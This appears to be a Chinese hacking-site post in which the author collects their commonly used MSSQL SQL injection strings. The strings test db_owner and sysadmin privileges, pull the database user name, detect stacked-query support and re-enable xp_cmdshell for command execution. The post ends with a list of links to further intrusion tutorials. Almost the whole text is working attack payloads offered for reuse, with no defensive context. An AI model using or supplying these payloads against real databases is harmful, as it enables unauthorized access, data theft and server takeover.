我记性不好,所以把常用的注入代码记录下来,有点乱,但对我来说,还算很有用,希望大家也会喜欢!
//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
数字类型
and char(124)%2Buser%2Bchar(124)=0
字符类型
' and char(124)%2Buser%2Bchar(124)=0 and ''='
搜索类型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
爆用户名
and user>0
' and user>0 and ''='
检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
检测是不是MSSQL数据库
and exists (select * from sysobjects);--
检测是否支持多行
;declare @d int;--
恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
| 阿D常用注入命令整理 | 05-17 | |
| opendatasource学习记录 | 05-14 | |
| SQL Injection规避入侵检测技术总 | 05-06 | |
| 最新详细的SQL注入相关的命令整理 | 04-30 | |
| PHP注入技术 | 04-11 | |
| PHP注入代码详解 | 04-06 | |
| PHP注入代码详解 | 03-16 | |
| Cmd模式下的入侵技术大全! | 01-22 | |
| SNMP口令的利用以及一些相关知识 | 01-13 | |
| 黑客知识系列菜鸟教程之Cookies欺 | 01-11 | |
| NBSI 注入分析跟踪报告(MSSQL篇) | 01-08 | |
| Windows2000安全漏洞集锦 | 12-30 | |